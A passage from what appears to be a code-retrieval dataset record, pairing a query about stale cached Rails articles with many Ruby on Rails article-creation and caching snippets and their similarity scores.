available\",image:a[\"urlToImage\"],description:a[\"description\"])\n article.publication_list.add(a[\"source\"][\"id\"])\n # extractor = Phrasie::Extractor.new\n # tagging = extractor.phrases(a[\"content\"],occur:1)\n # tags = tagging.each{|p|p[0]}\n # article.theme_list.add(tags)\n article.save!\n end\n end\nend", "def new_article(api_id, headline, subheading, body_text, category_id, img_src, publication_date)\n # Do not take articles older than 10 days ago\n return false if publication_date < 10.days.ago\n\n new_article = Article.new(api_id: api_id, headline: headline,\n subheading: subheading, body_text: body_text,\n category_id: category_id, img_src: img_src,\n created_at: Time.now, updated_at: Time.now,\n publication_date: publication_date)\n new_article.save ? true : false\n end", "def create\n @article = Article.new(params[:article].except(:author_list))\n if @article.save\n @article.author_list = params[:article][:author_list]\n success = @article.save\n else\n success = false\n end\n\n respond_to do |format|\n if success\n format.html { redirect_to @article, notice: 'Article was successfully created.' }\n format.json { render json: @article, status: :created, location: @article }\n else\n format.html { render action: \"new\" }\n format.json { render json: @article.errors, status: :unprocessable_entity }\n end\n end\n logger.debug @article.errors.inspect\n end", "def new\n\t\tdeny_access_unless(admin? || editor?)\n @article = Article.new\n\t\t@article.published = false\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @article }\n end\n end", "def articles\n\n end", "def create\n @article = Article.new(params[:article])\n if @article.save\n redirect_to articles_list_path, :notice => 'A cikk sikeresen létrejött!'\n else\n render :action => \"new\"\n end\n end", "def save_article\n self.name_article\n self.users << CLI.active_user\n self.save\n end", "def free_article\n\t\tif self.article\n\t\t\tputs self.article\n\t\t\tself.article.status = \"\"\n\t\t\tself.article.save()\n\t\t\tputs self.article\n\t\tend\t\n\tend", "def after_create_article(article)\n run_event(:after_create_article, article)\n end", "def initialize\r\n @articles = []\r\n end", "def new_personal_article(api_id, headline, subheading, body_text, category_id, img_src, publication_date, reader_id)\n # Do not take articles older than 10 days ago\n return false if publication_date < 10.days.ago\n\n # Do not take if user has already read the article\n return false if Reader.find(reader_id).orders.find_by(article_url: api_id)\n\n new_personal_article = Reader.find(reader_id)\n .articles\n .new(api_id: api_id, headline: headline,\n subheading: subheading, body_text: body_text,\n category_id: category_id, img_src: img_src,\n created_at: Time.now, updated_at: Time.now,\n publication_date: publication_date)\n new_personal_article.save ? true : false\n end", "def save!\n if page._new_article\n self.model._created_at = Time.now\n self.model._user_id = current_user._id\n page._new_article = false\n end\n\n self.model.save!\n self.model = nil\n end", "def get_new_articles\n # Download the RSS feed and save to self.doc\n get_source\n \n # Keep track of which articles are in the feed \n articles = []\n \n article_links = (self.doc/'li.mjItemMain').collect do |mjItem|\n mjItem.at('a.mjLinkItem')\n end\n \n # For each item in the RSS feed \n article_links.each_with_index do |link, index|\n \n # Create or update the article in the db\n articles << Article.factory(\n :category => self.category,\n :description => '',\n :feed => self,\n :url => \"http://online.wsj.com#{link.attributes['href']}\",\n :priority => index\n )\n end\n \n articles\n end", "def create\n @article = Article.new(article_params)\n\n if @article.save\n redirect_to @article\n # As @article is a Hash, the redirection will be done to the _url (similar to using 'link_to' helper).\n # It is important to use redirect_to after mutating the database or application state. Otherwise,\n # if the user refreshes the page, the browser will make the same request, and the mutation will be repeated.\n else\n render :new # Renders the 'new' view\n end\n end", "def new\n @article = Article.new #el metodo \"new\" es para crear un nuevo objeto vacio, es decir\n\t\t# Los nuevos objetos se pueden instanciar con atributos vacíos o preestablecidos\n\t\t# pero aun sin ser grabados. En ambos casos la validación de los atributos se da con los \n\t\t# nombres de las columnas de las tablas generadas.\n\t\t# en este caso esta accion \"new\" es nuestro articulo vacío\n @categories = Category.all\n @articles = Article.published\n end", "def add_article(title, magazine)\n #going to create a new article when\n # given title and magazine\n #I have to be sure that when creating\n #an article I give it a title,author,magazine\n Article.new(title, magazine,author)\n end", "def create\n @article = Article.new(article_params)\n \n if @article.save\n redirect_to @article\n else\n render 'new' #to reload 'new' form with current @article data\n end\n \n end", "def create\n @list = List.find(params[:item][:list_id])\n params[:item][:price] = params[:item][:price].nil? ? 0 : (params[:item][:price].to_f * 100).to_i\n\n article_id = unless !params[:article] or params[:article][:name].blank?\n article = Article.find_by_name(params[:article][:name])\n if article.nil?\n Article.create!(params[:article]).id\n else\n article.id\n end\n else\n Article.find(params[:item][:article_id]).id rescue nil\n end\n\n @item = @list.items.find_by_article_id(article_id)\n\n if @item.nil?\n @item = Item.create(params[:item].merge({ :article_id => article_id }))\n else\n @item.quantity = @item.quantity + params[:item][:quantity].to_i\n @item.update_attribute(:price, params[:item][:price]) unless @item.price == params[:item][:price]\n end\n\n if @item.save\n @item.article.update_attribute(:last_price, @item.price) unless @item.price == @item.article.last_price\n if request.xhr?\n @articles = current_user.articles.for_list(@list)\n @new_item = Item.new\n render :create\n else\n redirect_to(list_path(@list), :notice => t('controllers.items.item.created', :count => @item.quantity, :name => @item.article.name))\n end\n else\n @articles = Article.select([:id, :name]).order(:name)\n render :action => \"new\"\n end\n end", "def new\n\t\t@article = Article.new\n\n\tend", "def replenish_articles\n rarticles = rpg_shop.random_articles + @custom_articles\n rarticles.each { |rpg_article| valuate_add_article(rpg_article) }\n end", "def create\n Article.transaction do\n @article = Article.new(params[:article])\n respond_to do |format|\n if @article.save\n @article.deliver_to_listhost unless @article.no_mail == \"1\"\n flash[:notice] = 'Article was successfully created.'\n format.html { redirect_to admin_articles_path }\n format.xml { render :xml => @article, :status => :created, :location => @article }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @article.errors, :status => :unprocessable_entity }\n end\n end\n end\n end", "def create\n @article = Article.new article_from_parameters\n if @article.save\n redirect_to @article\n else\n render 'new'\n end\n end", "def create\n @article = Article.new(article_params)\n\n authorize Article\n\n respond_to do |format|\n if @article.save\n format.html { redirect_to @article, notice: 'Article was successfully created.' }\n format.json { render :show, status: :created, location: @article }\n else\n @article_count = Article.count + 1\n\n format.html { render :new }\n format.json { render json: @article.errors, status: :unprocessable_entity }\n end\n end\n end", "def new\n\t\t@article = Article.new\n\tend", "def new\n\t\t@article = Article.new\n\tend", "def new\n\t\t@article = Article.new\n\tend", "def new\n\t\t@article = Article.new\n\tend", "def new\n\t\t@article = Article.new\n\tend", "def create\n @article = Article.new(article_params)\n\n respond_to do |format|\n if @article.save\n format.html { redirect_to action: 'myspace', notice: 'Article was successfully created.' }\n format.json { render json: @article, status: :created, location: @article }\n else\n format.html { render action: \"new\" }\n format.json { render json: @article.errors, status: :unprocessable_entity }\n end\n end\n\n #Rails.cache.delete_matched /articles\\/index/\n #Rails.cache.delete_matched /articles\\/content/\n\n end", "def create\n\t\t#para mostrar lo que se esta enviando se hace con\n\t\t#render plain: params[:article].inspect\n\t\t\n\t\t#para hacer debug basta con escribir:\n\t\t#debugger \n\t\t#en la linea necesaria\n\t\t#para pasar a la siguiente linea se escribe n \n\t\t#y para terminar se ejecuta ctr+d\n\n\t\t@article = Article.new(article_params)\n\t\t#se añade usuario segun el usuario logueado\n\t\t@article.user = current_user\n\n\t\t#@article.save\n\t\t#redirecciona a la pagina del articulo cuando lo \n\t\t#halla creado.\n\t\t#consultando \"rake routes\" sabemos cual es la ruta\n\t\t#y se le pasa el articulo que se cargo en la \n\t\t#variable global.\n\t\t\n\t\tif @article.save\n\t\t\t#da el mensaje que se guardo bien\n\t\t\tflash[:success] = \"Se guardó correctamente!\"\n\t\t\tredirect_to article_path(@article)\n\t\telse\n\t\t\trender 'new'\n\t\tend\n\n\tend", "def create\n set_owners\n @article = Article.new(article_params)\n\n respond_to do |format|\n if @article.save\n format.html { redirect_to @article, notice: 'Article was successfully created.' }\n format.json { render :show, status: :created, location: @article }\n else\n format.html { render :new }\n format.json { render json: @article.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n logger.info \"新規記事を登録します。\"\n ActiveRecord::Base.transaction do\n # new article\n @article = Article.new(article_params)\n # set user id\n @article.user_id = current_user.id\n # set selected tags\n @article.selected_tags = \"\" if @article.selected_tags.blank?\n # set added tags\n @article.added_tags = \"\" if @article.added_tags.blank?\n # set last_updated_at\n @article.last_updated_at = Time.now\n # concatinate selected tags and addeds\n tags = @article.selected_tags << @article.added_tags\n\n @article.save!\n # save relations between article and tags\n Tag.save_tags!(tags, @article.id, current_user.id)\n\n logger.info \"新規記事 #{@article.id}/#{@article.title} を登録しました。\"\n\n # set success message\n flash[:notice] = get_resource('success')\n # show created article details\n respond_to do |format|\n format.html { redirect_to @article }\n format.text { render text: Settings.article.result_code.success }\n # ajax\n format.js { render locals: { article: @article } }\n end\n end\n rescue => e\n logger.error \"新規記事の登録に失敗しました。\"\n log_error e\n respond_to do |format|\n # if article creation is failed, return creation form\n @selectable_tags = Tag.order_by_name\n format.html { render action: \"new\" }\n format.text { render text: Settings.article.result_code.validation_error }\n # ajax\n format.js { render locals: { article: @article } }\n end\n end", "def before_create_article(article)\n run_event(:before_create_article, article)\n end", "def create\n @article = Article.internal.new(params[:article])\n @article.user = current_user\n\n respond_to do |format|\n if @article.save\n format.html { redirect_to admin_articles_path, :notice => t('articles.article_successfully_created') }\n format.json { render :json => @article, :status => :created, :location => @articles }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @article.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @article = Article.new(params[:article])\n #@article.update_attribute(:edit_count, Article.increment_counter)\n\n if @article.save\n redirect_to(@article, :flash => {:success => 'Article was successfully created.'})\n else\n flash[:error] = \"There was a problem creating the article.\"\n render :action => \"new\"\n end\n end", "def create\n @article = Article.new(params[:article])\n @article.user_id = current_user.id\n publish_or_not\n\n respond_to do |format|\n if @article.save\n if @article.published?\n flash[:success] = 'Article was successfully published.'\n format.html { redirect_to article_path(@article) }\n else\n flash[:success] = 'Article was successfully saved.'\n format.html { redirect_to edit_article_path(@article) }\n end\n else\n format.html { render action: \"new\" }\n format.json { render json: @article.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @article= Article.new(article_params)\n if @article.save\n redirect_to @articles\n else\n render :new\n end\n end", "def new\n @article = Article.new()\n end", "def new\n\n @article = Article.new # Create a new article and assign it to an instance variable, article\n\n end", "def fetch_articles\n return unless any_new?\n (how_many? - 1).downto(0) do |index|\n next if added?(index)\n Article.create(title: feed.entries[index].title,\n description: description(index),\n published: feed.entries[index].published,\n link: feed.entries[index].url,\n site_id: id,\n readingtime: reading_time(index))\n end\n end", "def new\n @article = Article.new\n \n end", "def new\n\t \t@article = Article.new\n\t end", "def create\n @article = current_user.articles.build(params[:article])\n\n respond_to do |format|\n if @article.save\n format.html { redirect_to @article, notice: \"Article was successfully created. #{undo_link}\" }\n format.json { render json: @article, status: :created, location: @article }\n else\n format.html { render action: \"new\" }\n format.json { render json: @article.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @article = Article.new(article_params)\n associate\n if @article.save\n redirect_to @article, notice: '記事が作成されました。' \n else\n render :new\n end\n end", "def create\n @article = Article.new(article_params)\n if @article.save\n redirect_to articles_path\n else\n render 'new'\n end\n end", "def create\n \n @article = Article.new()\n \n set_publishable_params(params[:article], @article)\n \n @article.assign_attributes(article_params)\n @article.user_id = current_user.id\n \n respond_to do |format|\n if @article.save\n format.html { redirect_to @article, notice: 'Article was successfully created.' }\n format.json { render :show, status: :created, location: @article }\n else\n format.html { render :new }\n format.json { render json: @article.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @article = Article.new(params[:article])\n \n if @article.save\n redirect_to article_path(@article.id), :notice => \"Saved! Way to go.\"\n \n else\n render \"new\"\n end\n end", "def new\n @article = Article.new\n end", "def new\n @article = Article.new\n end", "def new\n @article = Article.new\n end", "def new\n @article = Article.new\n end", "def new\n @article = Article.new\n end", "def new\n @article = Article.new\n end", "def new\n @article = Article.new\n end", "def new\n @article = Article.new\n end", "def new\n @article = Article.new\n end", "def new\n @article = Article.new\n end", "def new\n @article = Article.new\n end", "def new\n @article = Article.new\n end", "def new\n @article = Article.new\n end", "def new\n @article = Article.new\n end", "def new\n @article = Article.new\n end", "def new\n @article = Article.new\n end", "def new\n @article = Article.new\n end", "def new\n @article = Article.new\n end", "def add_to_base(item)\n info = validate_article(item)\n\n return unless info\n\n arti_author = item.author.delete(\"\\n\")\n unless add_author = Author.find_by(name: arti_author)\n add_author = Author.create(name: arti_author)\n end\n final = Article.new(author: add_author,\n title: item.title.delete(\"\\n\"),\n source: Source.find_by(name: TeRssImporter.source_name),\n summary: info[1],\n image: nil,\n link: item.link,\n date_of_publication: info[0])\n\n return unless final.save\n add_tags(final, %w(business finance economist))\n end", "def after_create_article_request(article, request)\n run_event(:after_create_article_request, article, request)\n end", "def create\n @article = Article.new(params[:article])\n if !params[:stores].nil?\n # prevent assignment of empty element to stores reference\n params[:stores].delete_if { |x| x == \"\"}\n end\n \n if @article.price.nil?\n # user don't know the price of the article yet\n @article.price = 0\n end\n \n respond_to do |format|\n if @article.save\n if !params[:stores].nil?\n @stores = Store.find(params[:stores])\n @stores.each { |s|\n @article.stores << s\n }\n end\n \n format.html { redirect_to articles_path, notice: 'Article was successfully created.' }\n format.json { render json: @article, status: :created, location: @article }\n else\n format.html { render action: \"new\" }\n format.json { render json: @article.errors, status: :unprocessable_entity }\n end\n end\n end", "def articles=(value)\n @articles = value\n end", "def create\n logger.debug \"request: #{params.inspect}\"\n vari = params.require(:article).permit(:text, :title)\n logger.debug \"SOLO LOS ARTICLES : #{vari}\"\n @article = Article.new(vari)\n if @article.save\n redirect_to @article\n else\n render 'new'\n end\n logger.debug \"New article: #{@article.attributes.inspect}\"\n logger.debug \"Article should be valid: #{@article.valid?}\"\n end", "def clear_random_articles\n @custom_articles = []\n end", "def save (user)\n Rails.logger.debug \"Call to article.save\"\n if self.valid? #Validate if the Article object is valid\n Rails.logger.debug \"The news article is valid!\"\n picture = self.picture #Retrieve the picture object\n #Create a raw article object\n article = {'title'=>self.title,\n 'content'=>self.content,\n 'date'=> Util.date_to_epoch(self.date),\n 'creatorEmail'=> self.creator_email,\n 'institutionId'=> user['institutionId'] \n } \n reqUrl = \"/api/newsArticle/\" #Set the request url\n rest_response = MwHttpRequest.http_post_request(reqUrl,article,user['email'],user['password']) #Make the POST call to the server with the required parameters\n Rails.logger.debug \"Response from server: #{rest_response.code} #{rest_response.message}: #{rest_response.body}\"\n if rest_response.code == \"200\" || rest_response.code == \"201\" || rest_response.code == \"202\" #Validate if the response from the server is satisfactory\n article = Article.rest_to_article(rest_response.body) #Turn the response object to an Article object\n if !picture.blank?#Validate if the user supplied a picture\n #Create Photo node for new news article\n #Currently the wep app supports only one picture creation\n Rails.logger.debug 'Create Photo node for new news article: ' + article.id.to_s\n photo = Photo.new(\n title:article.title,\n description:article.title, \n file:picture, \n owner_id:article.id, \n date:article.date)\n resp = photo.save(user,@@images_directory+\"/\"+article.id.to_s)#A new folder will be created for the article in the images server\n if !resp[0]\n return true, article, false #Return the notification that there was an error creating the picture node\n end\n end\n return true, article, true #Return success\n else\n return false, \"#{rest_response.code}\", \"#{rest_response.message}\" #Return error\n end\n else\n Rails.logger.debug self.errors.full_messages\n return false, self.errors.full_messages #Return invalid object error\n end\n end", "def create\n @article = Article.new(params[:article])\n\n f = open(\"info.txt\", \"w\")\n f.write( params )\n f.write( \"\\n\" )\n f.write( params[:article] )\n f.write( \"\\n\" )\n f.write( @article.author_id )\n f.write( \"\\n\" )\n f.write( @article.edit_count )\n error = true\n \n @article.edit_count = 0\n\n respond_to do |format|\n if @article.save\n format.html { redirect_to @article, notice: 'Article was successfully created.' }\n format.json { render json: @article, status: :created, location: @article }\n else\n #format.html { redirect_to @article, notice: 'AHHHHHHHHHHHHH.' }\n #format.json { render json: @article, status: :unprocessable_entity, location: @article }\n format.html { render action: \"new\", notice: 'AHHHHHHHHH!' }\n format.json { render json: @article.errors, status: :unprocessable_entity }\n end\n end\n end", "def publish\n\t\t@article.publish!\n\t\tredirect_to @article\n\tend", "def create\n @article = Article.new(article_params)\n\n if @article.save\n redirect_to @article\n else\n render 'new'\n end\n end", "def article_should_be_published\n\t\terrors.add(:article_id, \"is not publishe yet\") if article && !article.published?\n\tend", "def new\n @article= Article.new\n end", "def create\n @article = Article.new(article_params)\n\n if @article.save\n redirect_to @article\n else\n render 'new'\n end\n end", "def create\n @article = Article.new(article_params)\n\n if @article.save\n redirect_to @article\n else\n render 'new'\n end\n end", "def create\n @article = Article.new\n @article.title = params[:title]\n @article.description = params[:description]\n @article.save\n redirect_to article_path(@article)\n end", "def create\n @article = Article.new(article_params)\n if @article.save\n redirect_to @article\n else\n render \"new\"\n end\n end", "def create\n @article = Article.new(params[:article])\n tags_str = params[:article].delete(:tag_list)\n @article.tag_list = tags_str\n \n \n respond_to do |format|\n if @article.save\n format.html { redirect_to @article, notice: 'Article was successfully created.' }\n format.json { render json: @article, status: :created, location: @article }\n else\n format.html { render action: \"new\" }\n format.json { render json: @article.errors, status: :unprocessable_entity }\n end\n end\n end", "def add_article(magazine, title)\n Article.new(magazine, title)\n\n end", "def create\n @article = Article.create(params[:article])\n redirect_to @article\n end", "def create\n @article = Article.new(params[:article])\n\t\tdeny_access_unless(admin? || editor?)\n\t\t\n\t\topts = {}\n\t\topts[:as]=[]\n\t\t\n\t\topts = {}\n\t\topts = { :as => :editor } if editor?\n\t\topts = { :as => :admin } if admin?\n\t\t\n respond_to do |format|\n if @article.save(opts)\n\t\t\t\t@article.update_attributes(params[:article], opts)\n format.html { redirect_to @article, :notice => 'Article was successfully created.' }\n format.json { render :json => @article, :status => :created, :location => @article }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @article.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @article = Article.new(params[:article])\n @article.user_id = current_user.id\n\n respond_to do |format|\n if @article.save\n #@article.contents.create(:body => params[:body])\n Content.create(:title => @article.title, :body => params[:body], :article_id => @article.id) \n flash[:notice] = 'Article was successfully created.'\n format.html { redirect_to \"/admin/articles?standalone=true\" }\n format.xml { render :xml => @article, :status => :created, :location => @article }\n format.js { \n @channel, @articles = find_articles(params[:article][:channel_id])\n render(:update) { |page| page.replace_html 'channel-form', :partial => 'list' } \n }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @article.errors, :status => :unprocessable_entity }\n end\n end\n end", "def after_update(article)\n expire_article_page(article.id)\n end", "def create\n @article = Article.new(params[:article])\n\n check_admin_or_dziekan\n respond_to do |format|\n if @article.save\n format.html { redirect_to @article, notice: 'Article was successfully created.' }\n format.json { render json: @article, status: :created, location: @article }\n else\n format.html { render action: \"new\" }\n# format.json { render json: @article.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n\t\t@article = Article.new(article_params)\n\t\t@article.save\n\t\t#Displays create notice for each article\n\t\tflash.notice = \"Article '#{@article.title}' has been created!\"\n\n\t\tredirect_to article_path(@article)\n\tend", "def add_to_base(item)\n info = validate_article(item)\n\n return unless info\n arti_author = item.source.content.delete(\"\\n\")\n unless add_author = Author.find_by(name: arti_author)\n add_author = Author.create(name: arti_author)\n end\n final = Article.new(author: add_author,\n title: item.title.delete(\"\\n\"),\n source: Source.find_by(name: HsRssImporter.source_name),\n summary: item.description.delete(\"\\n\"),\n image: info[1],\n link: item.link,\n date_of_publication: info[0])\n return unless final.save\n add_tags(final, 'breaking')\n end", "def save_article_object_to_db(article)\n \n if article.title == nil or article.author == nil then\n raise \"ARTICLE_NIL_REQUIRED_VALUE_ERROR\"\n end\n\n if article.title.include? \"for Authors\" or article.title.include? \"aos autores\" then\n raise \"FORBIDDEN_ARTICLE_TITLE_ERROR\"\n end\n\n if Article.where(title: article.title).length > 0 then\n raise \"ARTICLE_ALREADY_IN_DB_ERROR\"\n end \n\n print \"Salvando no banco de dados... \".cyan\n article.save\n print \"OK.\\n\".green\nend", "def create\n @article = Article.new(article_params)\n @article.user = current_user\n @article.status = Rails.configuration.constants['article_status_draft']\n\n authorize @article\n\n if @article.save\n render status: :created, template: 'articles/show'\n else\n render json: {errors: @article.errors.full_messages}, status: :unprocessable_entity\n end\n end", "def index\n # redirect_to root_path unless current_user.id != @item.user_id\n @article = Article.new\n end" ]
[ "0.69004524", "0.67818", "0.66632587", "0.66269976", "0.6508754", "0.6443139", "0.64430875", "0.64189756", "0.6389379", "0.6364968", "0.63588065", "0.6348669", "0.6344746", "0.618962", "0.61573577", "0.6147273", "0.6129587", "0.6124484", "0.6114704", "0.6102352", "0.60950994", "0.6073431", "0.60717165", "0.60579425", "0.6042829", "0.6025419", "0.60223013", "0.6015261", "0.6013768", "0.6002923", "0.599936", "0.599936", "0.599936", "0.599936", "0.599936", "0.599746", "0.5996641", "0.5988806", "0.59837973", "0.59788615", "0.59760886", "0.596628", "0.59643924", "0.5947942", "0.5933681", "0.5926148", "0.59146905", "0.5908857", "0.5907936", "0.59064233", "0.5899865", "0.58915836", "0.5881581", "0.5880622", "0.5870326", "0.5861851", "0.5861851", "0.5861851", "0.5861851", "0.5861851", "0.5861851", "0.5861851", "0.5861851", "0.5861851", "0.5861851", "0.5861851", "0.5861851", "0.5861851", "0.5861851", "0.5861851", "0.5861851", "0.5861851", "0.5858711", "0.58531475", "0.5841314", "0.5835304", "0.5819963", "0.58167607", "0.5812372", "0.5811713", "0.5811557", "0.5796927", "0.57902384", "0.57802075", "0.5775827", "0.5775827", "0.57619154", "0.57608896", "0.5753476", "0.57519025", "0.5751133", "0.5742707", "0.57424664", "0.5742132", "0.57282144", "0.5720546", "0.5714843", "0.57108086", "0.57079774", "0.57055646" ]
0.5834458
76
If we update an existing article, the cached version of that particular article becomes stale
def after_update(article) #expire_public_page(params[:article], params[:group]) '/etc/cron.hourly/railsfix' end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def update\n if article_number_changed == true\n return execute_update && change_article\n end\n return execute_update\n end", "def update_cache\n # Does nothing...up to subclasses to implement.\n end", "def after_update(article)\n expire_article_page(article.id)\n end", "def update\n @article = Article.find(params[:id])\n\n respond_to do |format|\n if @article.update_attributes(article_params)\n format.html { redirect_to action: 'myspace', notice: 'Article was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @article.errors, status: :unprocessable_entity }\n end\n end\n\n #Rails.cache.delete_matched /articles\\/index/\n #Rails.cache.delete_matched Regexp.new(\"#{@article.id}\")\n #Rails.cache.delete_matched /articles\\/content/\n\n end", "def set_article\n @article = Rails.cache.fetch \"article-#{params[:id]}\" do\n Article.find(params[:id])\n end\n end", "def update_local_storage\n xml = HTTParty.get(self.url).body\n content = Feedjira.parse(xml)\n\n self.title = Feed.parse_for_title(content)\n self.image = Feed.parse_for_image_source(content)\n self.articles += Feed.convert_articles(content.entries).select do |article|\n is_new = true\n self.articles.each do |existing_article|\n if (existing_article.title == article.title && existing_article.published_date == article.published_date)\n is_new = false\n break\n end\n end\n is_new\n end\n\n self.save\n end", "def update\n download_page if cache_expired?\n read_cache\n end", "def subtract_cache\n tracker = Tracker.new\n tracker.read_articles\n @articles.delete_if { |x| tracker.articles.include?(x.link) }\n end", "def update_change\n return unless page_number\n return unless story_number\n\n current_article_id = working_article_id\n page = Page.where(issue_id: issue_id, page_number: page_number).first\n unless page\n puts \"we don't have page!!!\"\n return\n end\n new_article = WorkingArticle.where(page_id: page.id, order: story_number).first\n unless new_article\n puts \"we don't the article with story number!!!\"\n return\n end\n puts \"new_article.id:#{new_article.id}\"\n if new_article && new_article.id != current_article_id\n puts 'change to different article'\n self.working_article_id = new_article.id\n self.used_in_layout = false\n save\n place_image\n # clear image from current_article, if it exits\n end\n # if working_article\n # working_article.generate_pdf\n # working_article.update_page_pdf\n # end\n end", "def update (url, response, timestamp)\n \n @semaphor.synchronize(){||\n if @cache.has_key?(url)\n # then this url is already in the cache and we simply update the timestamp\n new_entry = CacheEntry.new(url, response, timestamp)\n @cache[url] = new_entry\n else\n new_entry = CacheEntry.new(url, response, timestamp)\n # ensure that this object is not too large\n return if new_entry.response.bytesize() > max_object_size \n # remove items from the cache until this new entry fits.\n while @current_load + new_entry.response.bytesize() > max_load do\n evict()\n end\n @current_load = @current_load + new_entry.response.bytesize()\n @cache[url] = new_entry\n end\n }\n end", "def ensure_cache_up_to_date\n self.last_update_timestamp = self.redis.get(\"bluster:last_update_timestamp\").to_i\n if self.last_update_timestamp.nil?\n update_object_cache\n elsif self.last_update_timestamp != File.new(self.objects_path).mtime.to_i\n update_object_cache\n end\n end", "def stale!\n if stale?\n update\n true\n else\n false\n end\n end", "def update\n article = Article.of(current_user).find params[:id] rescue render status: 500, inline: 'Article not found' and return\n # old_article = article.clone TODO used to update Redis index\n article.update_attributes params['article']\n if article.invalid?\n render status: 400, inline: extract_first_error_message(article.errors.messages)\n else\n render status: 204, nothing: true\n end\n end\n \n private\n \n def authenticated?\n if !current_user\n redirect_to login_path and return\n end\n end\n\n def inject_current_user_into_params\n params['article']['user'] = current_user\n end", "def update\n update_cache\n reload\n\n self\n end", "def update\n expire_one(params[:id])\n @article = Article.find(params[:id])\n\n respond_to do |format|\n if @article.update_attributes(params[:article])\n format.html { redirect_to([:admin, @article], :notice => 'Article was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @article.errors, :status => :unprocessable_entity }\n end\n end\n end", "def show\n fresh_when(:last_modified => @article.updated_at, :public => true, :etag => @article) if Rails.env.production?\n end", "def update_news_article_category_counter_cache\n if !frozen? && @old_category_id && self.new_category_title.blank?\n NewsArticleCategory.decrement_counter(:news_articles_count, @old_category_id)\n NewsArticleCategory.increment_counter(:news_articles_count, self.news_article_category_id)\n end\n end", "def update_cache_chain\n logger.debug \"DB ********** Touching BlogElem #{id} ********** \"\n self.touch\n self.element.try(:update_cache_chain)\n end", "def update_cache_chain\n logger.debug \"DB ********** Touching BlogElem #{id} ********** \"\n self.touch\n self.element.try(:update_cache_chain)\n end", "def show\n @article = Article.find(params[:id])\n if !@article.approved and @article.published\n redirect_to :action => 'unapproved'\n else\n @article.increment!(:click_count)\n @editors = @article.article_editors.distinct\n @num_edits = @article.article_editors.size\n if @num_edits > 0\n @last_update = @article.article_editors.last.created_at\n else\n @last_update = @article.created_at\n end\n\n @advert = Advert.random('news_articles')\n fresh_when :last_modified => @article.updated_at.utc, :etag => @article\n end\n end", "def after_update(entry)\n expire_cache_for(entry)\n end", "def cached?; end", "def update\n @user = User.find_by_authentication_token(params[:auth_token])\n @newArticle = Article.new.from_json(params[:article])\n @oldArticle = Article.find(@newArticle.id)\n @author = Author.find_by_user_id_and_article_id(@user.id, @newArticle.id)\n if @author != nil\n @oldArticle.content = @newArticle.content\n @oldArticle.category = @newArticle.category\n @oldArticle.title = @newArticle.title\n respond_to do |format|\n if @oldArticle.save\n format.html { redirect_to @oldArticle, notice: 'Article was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @oldArticle.errors, status: :unprocessable_entity }\n end\n end\n else\n respond_to do |format|\n format.html { render json: \"error\" }\n format.json { render json: \"error\" }\n end\n end\n end", "def update!\n # Don't do anything if this option is set\n return if self.configurations[:disable_update_from_remote]\n\n if !FeedTools.feed_cache.nil? &&\n !FeedTools.feed_cache.set_up_correctly?\n FeedTools.feed_cache.initialize_cache()\n end\n if !FeedTools.feed_cache.nil? &&\n !FeedTools.feed_cache.set_up_correctly?\n raise \"Your feed cache system is incorrectly set up. \" +\n \"Please see the documentation for more information.\"\n end\n if self.http_headers.blank? && !(self.cache_object.nil?) &&\n !(self.cache_object.http_headers.nil?)\n @http_headers = YAML.load(self.cache_object.http_headers)\n @http_headers = {} unless @http_headers.kind_of? Hash\n elsif self.http_headers.blank?\n @http_headers = {}\n end\n if self.expired? == false\n @live = false\n else\n load_remote_feed!\n \n # Handle autodiscovery\n if self.http_headers['content-type'] =~ /text\\/html/ ||\n self.http_headers['content-type'] =~ /application\\/xhtml\\+xml/\n\n autodiscovered_url = nil\n ['atom', 'rss', 'rdf'].each do |type|\n autodiscovered_url =\n FeedTools::HtmlHelper.extract_link_by_mime_type(self.feed_data,\n \"application/#{type}+xml\")\n break unless autodiscovered_url.nil?\n end\n \n if autodiscovered_url != nil\n begin\n autodiscovered_url = FeedTools::UriHelper.resolve_relative_uri(\n autodiscovered_url, [self.href])\n rescue Exception\n end\n if self.href == autodiscovered_url\n raise FeedAccessError,\n \"Autodiscovery loop detected: #{autodiscovered_url}\"\n end\n self.feed_data = nil\n \n self.href = autodiscovered_url\n if FeedTools.feed_cache.nil?\n self.cache_object = nil\n else\n self.cache_object =\n FeedTools.feed_cache.find_by_href(autodiscovered_url)\n end\n self.update!\n else\n html_body = FeedTools::XmlHelper.try_xpaths(self.xml_document, [\n \"html/body\"\n ])\n if html_body != nil\n raise FeedAccessError,\n \"#{self.href} does not appear to be a feed.\"\n end\n end\n else\n ugly_redirect = FeedTools::XmlHelper.try_xpaths(self.xml_document, [\n \"redirect/newLocation/text()\"\n ], :select_result_value => true)\n if !ugly_redirect.blank?\n if self.href == ugly_redirect\n raise FeedAccessError,\n \"Ugly redirect loop detected: #{ugly_redirect}\"\n end\n self.feed_data = nil\n self.href = ugly_redirect\n if FeedTools.feed_cache.nil?\n self.cache_object = nil\n else\n self.cache_object =\n FeedTools.feed_cache.find_by_href(ugly_redirect)\n end\n self.update!\n end\n end\n \n # Reset everything that needs to be reset.\n @xml_document = nil\n @encoding_from_feed_data = nil\n @root_node = nil\n @channel_node = nil\n @id = nil\n @title = nil\n @subtitle = nil\n @copyright = nil\n @link = nil\n @time_to_live = nil\n @entries = nil\n \n if self.configurations[:lazy_parsing_enabled] == false\n self.full_parse()\n end\n end\n end", "def rebuildCacheFor( ticket )\n\t\tpos = @cache_for_id[ ticket.idstring ]\n\t\tif pos \n\t\t\t@cache[ pos ] = ticket\n\t\t\t@updated = true\n\t\t\tsave\n\t\telse 